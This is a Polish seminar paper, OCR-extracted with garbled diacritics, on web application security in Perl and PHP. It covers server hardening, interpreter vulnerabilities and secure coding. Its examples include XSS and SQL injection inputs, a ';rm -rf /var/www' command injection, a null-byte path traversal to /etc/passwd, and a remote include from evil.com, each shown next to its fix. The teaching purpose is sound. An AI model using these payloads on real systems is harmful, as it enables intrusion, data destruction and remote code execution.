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1 Wstep

W pewnym momencie ustugi ofertowane przez statyczne strony WWW przestaly byé wystarczajace.
Powstaly rézne pomysly na generowanie dynamicznych tresci, zaréwno po stronie serwera (CGI, SSI,
PHP, JSP, Java Servlet, ASP), jak i po stronie klienta (JavaScript, ActiveX, VBScript, Java).

W chwili obecnej, najwicksza! popularnodcia cieszy sie jezyk skryptowy PHP, bedacy ,synteza” naj-
lepszych cech Perla i C++4. Swoja popularno$¢ zawdzigcza gléwnie wydajnodci i tatwosci, z jaka mozna
go opanowaé. Niestety, PHP wstawit sie takze dos¢ niskim stopniem bezpieczenistwa; dotyczy to zaréwno
ilosci btedéw w samym interpreterze, jak i tatwosci popelnienia krytycznego dla bezpieczenstwa bledu
przez niedoswiadczonych programistow.

Starszy brat PHP, Perl jest obecnie rzadziej uzywany do tworzenia dynamicznych stron WWW | nato-
miast w dalszym ciagu wiedze prym wsrod administratoréw i programistéw systemowych, ktérzy z wielka
checia wykorzystuja Perla, zaréwno do tworzenia prostych skryptéw wykonujacych uciazliwe, codziennie
czynnodci administracyjne, jak i do wiekszych projektéw, ktorych gléwnym celem jest zarzadzanie, ana-
lizowanie i przetwarzanie duzej ilosci danych tekstowych. Niestety, podobnie jak w przypadku PHP,
ogromne mozliwosci Perla wplywaja takze na jego bezpieczenstwo. Nieswiadome popelnienie krytycznego
btedu podczas pisania aplikacji w Perlu jest doéé¢ prawdopodobne.

Referat opisuje zagadnienia bezpieczenstwa aplikacji w jezykach skryptowych Perl i PHP, dotyczy zas
przede wszystkim srodowiska UNIX i darmowego serwera WWW Apache 1.3.x.

1.1 Perl — wprowadzenie

Perl jest wydajnym i poteznym obiektowym jezykiem skryptowym stworzonym przez Larry’ego Wall’a
w 1987 r., ktéry taczy w sobie najbardziej uzyteczne cechy jezyka C oraz skryptow sed, awk i sh. Obecna
wersja to 5.8.0, prawdopodobnie ostatnia z gatezi Perld, dziala ona na wigkszosci dostepnych systeméw
operacyjnych (zaréwno z rodziny UNIX, jak i Windows) i jest dostepna za darmo? do dowolnego uzyt-
kowania, wraz z pelnym kodem Zrédtowym. Interpreter Perla napisany jest w jezyku C.

Potega Perla wigze sie z ogromna?® ilodcig gotowych modutéw, skatalogowanych w CPAN (ang. Com-
prehensive Perl Archive Network) i dostepnych dla kazdego za darmo, wraz z kodem Zrédlowym.

Zastosowanie jezyka Perl do budowania dynamicznych stron WWW obejmuje przede wszystkim rézno-
rakie przetwarzanie danych otrzymanych od uzytkownika, przekazywanie ich do innych aplikacji, a takze
wykonywanie operacji na bazach danych, za posrednictwem modutéw DBI.

Aplikacje napisane w Perlu moga by¢ uruchamiane zaréwno tradycyjnie, za pomoca osobnej kopii
interpretera dla kazdego wywolania skryptu, jak i w bardziej wydajny spos6b — wewnetrznie przez sam
serwer, za poS$rednictwem modutu mod_perl.

1.2 PHP — wprowadzenie

PHP jest wydajnym i stosunkowo prostym jezykiem skryptowym, zblizonym do Perla i C++. Obecna
wersja to PHP 4.3.1, dostepna jako modut DSO do serwera Apache lub jako samodzielny interpreter
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dzialajacy na systemach z rodziny UNIX i Windows. PHP rozpowszechniane jest na zasadach ,PHP
License”*.

Pierwsza wersja PHP (zwana wéwczas PHP /FI) zostala napisana w 1995 r. przez Rasmusa Lerdorfa
i stanowita prosty zbior skryptéw w Perlu, utatwiajacych tworzenie dynamicznych stron WWW. Wkrétce
PHP/FI zostalo napisane od nowa w jezyku C i przemianowane na PHP3. Dalsze prace polegaly na
calkowitym przepisaniu ,silnika” | nazwanego wéwczas Zend i opublikowaniu go jako czes¢ nowego pakietu
PHP4.

PHP, podobnie jak ASP i JSP dziala na zasadzie wstawek wewnatrz dokumentu HTML, ktére sa
interpretowane i wykonywane po stronie serwera podczas odczytywania strony WWW.

Podobnie jak w przypadku CPAN, rowniez dla PHP istnieje publiczne, wolne archiwum modultéw, po-
zwalajacych na rozszerzenie funkcjonalnosci interpretera, dostepne pod adresem: http://pear.php.net.

1.3 Koncepcja bezpiecznego serwera

Bezpieczenstwo serwera WWW i aplikacji uruchamianych z jego poziomu w duzej mierze zalezy od
bezpieczenstwa samego systemu operacyjnego oraz innych serwiséw pracujacych w obrebie tej samej ma-
szyny. Przy wyborze gatunku systemu operacyjnego kierowac sie nalezy przede wszystkim dotychczasowa
historig bezpieczenstwa, z uwzglednieniem: ilosci bltedéw odnalezionych w poprzednich latach i szybko-
Sci reakcji producenta na opublikowany raport o btedzie. Do kluczowych elementéow oceny nalezy takze
stopien komplikacji systemu operacyjnego — im wiecej zainstalowanych domy$lnie pakietéw i aktywnych
ustug, tym bardziej czasochlonne jest zabezpieczanie serwera, bowiem wytaczenie niepotrzebnych ustug
i deinstalacja pakietow sa podstawowym krokiem przy sporzadzaniu bezpiecznej konfiguracji serwera.

Kolejnym waznym elementem jest wybér aplikacji realizujacej funkcje serwera WWW. Obecnie, naj-
bardziej rozpowszechniony® jest serwer Apache, pochodzacy bezposrednio od NCSA httpd, rozwijany
jako darmowy i otwarty projekt. Jego historia bezpieczenstwa, cho¢ nie jest idealna, stawia go daleko
przed najwiekszymi konkurentami, takimi jak MS IIS. Apache pracuje zaréwno na platformie UNIX, jak
i Win32, co w potaczeniu z bardzo duza wyjdanoscia, elastycznoscia i modularnoscia czyni go jednym
z najlepszych serwerow WWW dostepnych na rynku.

Ostatnim krokiem jest wybdr platformy generujacej dynamiczne elementy stron WWW. Wybér do-
stepnych rozwigzan jest bardzo duzy, tak wiec postaram sie¢ scharakteryzowaé kilka najbardziej powszech-
nych koncepcji:

e okresowe generowanie statycznych stron WWW w oparciu o dynamiczne szablony — rozwiazanie
najlepsze pod wzgledem bezpieczenstwa i wydajnosci, zaktada brak jakiejkolwiek interakcji ze strony
uzytkownika serwisu WWW, statyczne strony generowane sa okresowo przy pomocy szablonéw ze
wstawkami kodu; przyktadowym narzedziem, ktére poleca autor jest WMLS

e malo i Srednio skomplikowane serwisy WWW i portale, wymagajace reagowania na dane przesytane
przez uzytkownika — rozwiazanie najczesciej stosowane o zadowalajacej wydajnosci i bezpieczen-
stwie bardzo zaleznym od jakosci uruchamianych skryptow; zazwyczaj uzywane narzedzia to Perl,
PHP, ASP wraz z lokalnym serwerem SQL; aby zminimalizowaé ilo$¢ kodu wykonywanego dyna-
micznie, autor zaleca réwnoczesne stosowanie narzedzi typu WML, generujacych kod w PHP /Perlu
na podstawie wczesniej przygotowanego szablonu

e duze i zlozone portale i specjalistyczne aplikacje (np. e-banki) — najczesciej stosowanym rozwiaza-
niem jest polaczenie Servletow i JSP, ze wzgledu na duze mozliwoéci i elastycznosé aplikacji pisanych
w Javie, dostepnos¢ duzej liczby gotowych rozwiazan oraz wysoki stopien bezpieczenstwa i zado-
walajaca wydajnos¢; rozwiazanie to zazwyczaj obejmuje zewnetrzny serwer SQL oraz dedykowany
serwer aplikacji

Rozwiazaniem stosowanym przez autora najczesciej jest nastepujaca konfiguracja:

e system operacyjny FreeBSD? — darmowy, bezpieczny, wydajny system z rodziny BSD UNIX

4tresé licencji dostepna pod adresem http://www.php.net/license/2.02.txt, zblizona do GNU GPL
5ok. 62% wszystkich serweréw WWW, zrédto: http://www.netcraft.com
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e serwer WWW — Apache 1.3.x

e dynamiczne strony — PHP + mod_php lub PHP + CGI + SuEXEC® (w zaleznosci od zadanego
stopnia bezpieczefistwa i wydajnosci), ewentualnie Perl + mod_perl lub Perl + CGI + SuEXEC;
w przypadku koniecznosci uruchamiania aplikacji w Javie, takze serwer aplikacji Apache Tomcat

e wlasne koncepcje bezpiecznej konfiguracji i rozszerzenia bezpieczenstwa’

2 Bezpieczenstwo poszczegoélnych ustug

2.1 Serwer WWW

W chwili pisania referatu, aktualng wersja Apache jest 1.3.27. Wersje wczesniejsze niz 1.3.26 posiadaja
powazne bledy, pozwalajace na zdalne wykonywanie kodu z prawami uzytkownika, ktéry uruchomit serwer
WWW i zdecydowanie nie powinny by¢ uzywane.

W przypadku stosowania szyfrowania SSL nalezy zadbaé¢ o aktualizacje biblioteki OpenSSL przynaj-
mniej do wersji 0.9.6j, poprzednie wersje posiadaja szereg slabosci kryptograficznych, pozwalajacych na
czesciowe ujawnienie szyfrogramu w sprzyjajacych okolicznosciach. Wersje starsze niz 0.9.6e sa podat-
ne na zdalne przepelnienie bufora, dotyczace wszystkich aplikacji korzystajacych z funkcjonalnosci SSL
i pozwalajace na zdalne wykonanie kodu z prawami administratora.

Serwer WWW powinien dziataé¢ z prawami odrebnego uzytkownika, ktory nie jest wlascicielem zad-
nych plikéw, w szczegdlnosci logoéw i dokumentéw HTML. Nie powinien to by¢ takze uzytkownik nobody,
co jest powszechne w wielu instalacjach.

Zasadne moze by¢é zastosowanie mechanizmu jail (FreeBSD) lub chroot (OpenBSD?, Linux, pozo-
stale systemy UNIX) w celu odseparowania serwera WWW od reszty systemu i ograniczenia skutkéw
ewentualnego ataku.

2.2 PHP

Historia bezpieczenstwa PHP pozostawia dos¢ wiele do zyczenia. Praktycznie wszystkie dotychczasowe
wersje podatne byly na rézne zdalne ataki, z ktérych dwa najpowazniejsze dotyczyly wersji ponizej 4.2.2
i pozwalaly na zdalne przejecie uprawnien, z ktérymi dziatat serwer WWW.

Dodatkowo, wszystkie wersje PHP ponizej 4.1.0 stosuja domyslnie wiaczony mechanizm register_globals,
pozwalajacy w wielu wypadkach na ominiecie niewlasciwie skonstruowanych mechanizméw autoryzacji
na poziomie skryptéw.

Jezeli administrator chce umozliwi¢ lokalnym uzytkownikom publikowanie stron w PHP, konieczne
jest wykonywanie skryptéw za pomoca zewnetrznego interpretera PHP, uruchamianego za pomoca me-
chanizmu SuUEXEC. W przeciwnym wypadku, kazdy lokalny uzytkownik, majacy mozliwosé publikacji
skryptu PHP moze wywolywaé¢ dowolny kod z prawami serwera WWW. Nalezy podkreslié¢, ze interpreto-
wanie skryptow PHP na zewnatrz serwera WWW powoduje drastyczny spadek wydajnosci, dlatego autor
poleca rozdzielenie usthug ,strony WWW uzytkownikéw” i ,gtéwny serwis WWW” pomiedzy minimum
dwa rézne serwery.

2.3 Perl

W przeciwienstwie do PHP, interpreter Perl posiadal w swojej historii tylko jeden powazny btad
zagrazajacy bezpieczenstwu, dotyczyt on jednak tylko aplikacji suidperl, ktéra w normalnej praktyce
administratora WWW jest uzywana nadzwyczaj rzadko.

Domys$lnym i zalecanym sposobem wywoltywania skryptéw Perl jest zewnetrzny interpreter w pola-
czeniu z SUEXEC. W niektorych przypadkach, gdzie wymagana jest wysoka wydajno$é¢ stosowany jest
modutl mod_perl, bedacy funkcjonalnym odpowiednikiem mod_php. Podkresli¢ nalezy, ze nie wszystkie
aplikacje beda wykonywane poprawnie w srodowisku mod_perl, réwniez ze wzgledéw opisanych powyzej,
nie nalezy zezwala¢ lokalnym uzytkownikom na korzystanie z tego modutu.

8aplikacja bedaca czesciag Apache, pozwalajaca na zmiang uprawnien tuz przed wykonaniem konkretnego skryptu

9np. modut kernela rexec lub Cerber — http://wuw.sourceforge.net/projects/cerber

10 Apache znajdujacy si¢ w domysélnej instalacji OpenBSD jest przystosowany do pracy w érodowisku chroot i w takim
trybie jest uruchamiany domyslnie



3 Bezpieczne kodowanie

3.1 Ataki typu XSS

Ataki typu cross site scripting polegaja na przemyceniu kodu JavaScript lub VBScript do przegladarki
uzytkownika, odwiedzajacego dang strone. Pozwala to na ujawnienie danych zapisanych w ciasteczkach,
co w wielu przypadkach umozliwia ,,podszywanie” sie pod zarejestrowanego i zalogowanego uzytkownika.
Kod ,zlego” skryptu moze by¢ przekazany np. przez forum na stronie, czy w postaci URLa wystanego
do uzytkownika.

Zapobieganie polega na filtrowaniu zmiennych przekazywanych przez uzytkownika do kazdego skryptu,
tak aby niemozliwe bylo przestanie jakiegokolwiek kodu HTML. W PHP jest to mozliwe za pomoca funkcji
strip_tagsQ).

Oto przyktad podatnego skryptu PHP:

’ <?php echo $zmienna; 7>

oraz sposob wykorzystania:

’ http://www.host.com/skrypt.php?zmienna=<script>alert(’test’);</script>

Po wywotaniu powyzszego odnoénika, przegladarka uzytkownika wykona zalaczony fragment kodu
JavaScript, co spowoduje otwarcie okienka z napisem ,test”.
Poprawiony fragment kodu powinien wygladaé nastepujaco:

’ <?php echo strip_tags($zmienna); 7>

W przypadku Perla problem ten mozna rozwiazaé¢ za pomocg odpowiedniego wyrazenia regularnego,
nie istnieje gotowa funkcja realizujaca ta czynnosc.

3.2 Ataki typu SQL injection

Dotycza one aplikacji korzystajacych z baz danych i przyjmujacych dane wejSciowe od uzytkownika.
Polegaja na mozliwoéci przemycenia czesci zapytania SQL jako argument do innego zapytania SQL.
Pozwalaja na ujawnienie danych z bazy, czasami takze na ich usuniecie.

Zapobieganie polega na filtrowaniu przekazywanych przez uzytkownika zmiennych, w PHP shuzy do
tego funkcja addslashes (), wstawiajaca ukosnik przed kazdy potencjalnie niebezpieczny znak.

Oto przyklad podatnego skryptu PHP:

<7php
mysql_query("SELECT * FROM tabela WHERE id=’$zmienna’");
7>

W powyzszym przykladzie $zmienna dostarczana jest przez uzytkownika z zewnatrz. Moze on zasto-
sowaé ponizsze zapytanie, aby spowodowaé wyswietlenie wszystkich rekordow z bazy:
http://www.host.com/skrypt.php?zmienna=’0R 1;’

Poprawnie napisany fragment kodu powinien wygladaé¢ nastepujaco:

<7php

$zmienna_ok = addslashes($zmienna) ;
mysql_query("SELECT * FROM tabela WHERE id=’$zmienna ok’");
>

W jezyku Perl nalezy zastosowaé¢ odpowiednie wyrazenie regularne, poprzedzajace uko$nikiem kazdy
znak, ktéry stanowi skladnik jezyka SQL.

3.3 Niebezpieczne funkcje i znaki

3.3.1 Perl

Stosowanie niektérych funkcji w Perlu z argumentami pobranymi od uzytkownika moze spowodowaé
duze zagrozenie bezpieczenstwa skryptu. Przykladami takich funkcji sa:



¢

e system() oraz ‘¢ — uzytkownik moze wywotaé¢ dowolna komende systemowa uzywajac metazna-
kéw powtloki (srednik, cudzystowy); przyklad: system("/sbin/ping $host") ; — uzytkownik moze
podlozyé tancuch ;rm -rf /var/www; nie nalezy przekazywaé niefiltrowanych zmiennych uzytkow-
nika do wnetrza funkcji system().

e open() — uzytkownik moze otworzy¢ lub zapisa¢ dowolny plik, a takze wykonaé dowolng komende
systemowa (przy pomocy znaku |); przyklad: open(FH "/home/venglin/$plik"); — uzytkow-
nik moze podtozyc tancuch ../../etc/passwd; nie nalezy przekazywaé niefiltrowanych zmiennych
uzytkownika do wnetrza funkcji open().

e eval() — uzytkownik moze wykonaé¢ dowolny fragment kodu w Perlu; nie nalezy przekazywac
niefiltrowanych zmiennych uzytkownika do wnetrza konstrukcji eval ().

e glob() — uzytkownik moze wywotaé¢ dowolna komende systemowa, uzywajac metaznakéw powloki;
nalezy uzywaé fukncji readdir ()

W przypadku uruchamiania jakichkolwiek skryptéw CGI w Perlu, zalecane jest uaktywnienie taint
mode, funkcjonalno$¢ ta przeprowadza szereg prostych testow przed wykonaniem niebezpiecznych funkcji
i uniemozliwia przekazanie do nich niezmienionych danych uzytkownika. Taint mode moze wlaczy¢ przy
pomocy przetacznika -T'!.

Kolejng rzecza warta podkreslenia jest fakt, ze wszystkie funkcje lancuchowe Perla koncza swoje
dziatanie, gdy napotkaja znak NULL. Moze to w pewnych warunkach stanowi¢ zagrozenie; rozwazmy
nastepujacy przyktad: administrator pragnac uniemozliwi¢ uzytkownikowi przeczytanie jakiegokolwiek
innego pliku niz .html zastosowal nastepujaca konstrukcje:

’ open(FH, "< /home/venglin/$plik.html");

Niestety, ograniczenie to moze zosta¢ ominiete w bardzo prosty sposéb, przez przekazanie znaku NULL:

’ http://www.host.com/cgi-bin/skrypt.pl?plik=../../../../etc/passwd’00

3.3.2 PHP

Podobnie jak Perl, réwniez jezyk PHP zawiera szereg funkcji pozwalajacych na potencjalny atak.
Naleza do nich: system(), ¢, eval() i open(). Metodologia ataku jest praktycznie identyczna, jak
w przypadku odpowiednikéw znanych z Perla, zapobieganie natomiast duzo tatwiejsze, ze wzgledu na
obecnosé gotowych funkcji realizujacych typowe operacje na niebezpiecznych tancuchach:

e addslashes() — dodaje odwrotny ukoénik przed znakami cudzystowéw, odwrotnego ukoénika i zna-
ku NULL

e escapeshellcmd() — niweluje dzialanie wszystkich metaznakéw powloki

Warty podkreslenia jest rowniez fakt, ze PHP zezwala na otwieranie zdalnego pliku, co w wielu
przypadkach moze stanowi¢ ogromne zagrozenie dla bezpieczenstwa. Rozwazmy nastepujacy fragment
kodu:

’ <7php include "$file.php"; 7>

Powyzszy fragment pozwoli nie tylko na otwarcie dowolnego pliku z rozszerzeniem .php w systemie,
ale takze na otwarcie zdalnego pliku!

’ http://www.host.com/skrypt.php?file=http://www.evil.com/evil

W takiej sytuacji, caly kod umieszczony przez napastnika w zdalnym pliku zostanie wykonany na
atakowanym serwerze.

Duza ilos$¢ zagrozen wystepujacych w PHP moze zostaé¢ zniwelowana poprzez wlaczenie safe mode.
Tryb ten pozwala na nastepujace ograniczenia

e sprawdzanie wlasciciela pliku przy jego otwieraniu

e odmawianie wykonania funkcji z rodziny system()

Hogélne informacje na temat zastosowania taint mode mozna znalezé w manualu perlsec



e odmawianie zmian zmiennych $rodowiskowych
e ograniczenie dostepu do plikéw tylko z wybranego katalogu

e wylaczenie wybranych funkcji

Tryb ten moze zosta¢ uaktywniony poprzez edycje pliku konfiguracyjnego php.ini.

3.4 Sesje HTTP

HTTP jest protokolem bezstanowym, co oznacza koniecznosé stworzenia wlasnego mechnizmu prze-
kazywania informacji o sesji pomiedzy wywolaniami skryptéow. Wymaga to utworzenia unikalnego identy-
fikatora sesji, ktory bedzie dolaczany jako argument kazdego wywolania skryptu, a takze przechowywany
po stronie serwera i sprawdzany przez niego.

PHP4, w przeciwienstwie do Perla, posiada wlasny, wbudowany mechanizm zarzadzania sesjami, po-
zwalajacy na przekazywanie identyfikatora sesji zaréwno jako ciasteczko, jak i argument do skryptu.

Jednakze, w przypadku recznego generowania identyfikatora sesji, nalezy koniecznie zadbaé¢ o jego
unikalnosé i losowosé. Niedopuszczalne jest stosowanie kombinacji daty, czasu, uzytkownika, numeru
procesu, gdyz wszystkie te wartosci sa tatwe do przewidzenia. Idealnym rozwiazaniem jest pobranie
kilkunastu bajtéw entropii z dobrego generatora liczb losowych!? i utworzenie z nich skrétu MD5, ktéry
moze zosta¢ wykorzystany jako identyfikator sesji.

3.5 Zarzadzanie zmiennymi

We wszystkich wersjach PHP ponizej 4.1.0, kazda niezainicjalizowana zmienna mogla zostaé przysto-
nieta przez napastnika z zewnatrz. W pézniejszych wersjach to zachowanie zostalo zmienione — zmienne
przekazywane z zewnatrz sa przetrzymywane w osobnej tablicy asocjacyjnej, nie sg zas mapowane na
globalne zmienne jezyka. Funkcjonalnosé ta jest kontrolowana za pomoca dyrektywy register_globals
umieszczanej w pliku konfiguracyjnym php.ini.

Stosowanie globalnych zmiennych inicjowanych warto$ciami z zewnatrz stwarzalo zagrozenie w przy-
padku niewlasciwie skonstruowanych petli i warunkéw. PHP nie wymaga jawnego inicjowania zmiennych,
tak wiec w specyficznych sytuacjach mozliwe bylo ominiecie blednie skonstruowanego mechanizmu auto-
ryzacji.

Karygodnym btedem jest takze przekazywanie waznych zmiennych pomiedzy sesjami za pomoca poél
hidden formularza, ktore moga zosta¢ bez problemu zmienione. Podrecznikowym przykladem jest tutaj
zastosowanie pél hidden do przekazywania ceny produktu w elektronicznym sklepie.

4 Rady na zakonczenie

e praktyka pokazuje, ze Perl jest bezpieczniejszy niz PHP, natomiast tatwiej w nim popelni¢ razace
bledy

e uzytkownicy, majacy dostep do PHP i/lub CGI czesto umieszczaja duze ilosci blednego i Zle zabez-
pieczonego kodu

e PHP i Perl przez CGI i SUEXEC sa malo wydajne, ale praktycznie nieodzowne na serwerach
udostepniajacych konta dla uzytkownikdéw; interpretery powinny byé umieszczone poza katalogami
dostepnymi przez WWW

o jedli uzywasz gotowych bibliotek i skryptéw, sprawdz wezeéniej ich historie bezpieczenstwal?, upew-
nij sie takze, ze posiadasz najnowsze wersje

Tematyka bezpiecznego programowania jest stosunkowo trudna i wymaga duzego naktadu pracy na
wyrobienie wlasciwych nawykow i analize pisanego kodu. Dlatego tez, w chwili obecnej btedy w aplikacjach
WWW stanowia wigkszo$é raportéw wysyltanych na liste dyskusyjng BUGTRAQ.

12w przypadku systeméw z rodziny UNIX, urzadzenie /dev/random zazwyczaj zapewnia losowosé wysokiej jakogci
13np. w archiwach listy dyskusyjnej BUGTRAQ — http://www.securityfocus.com/



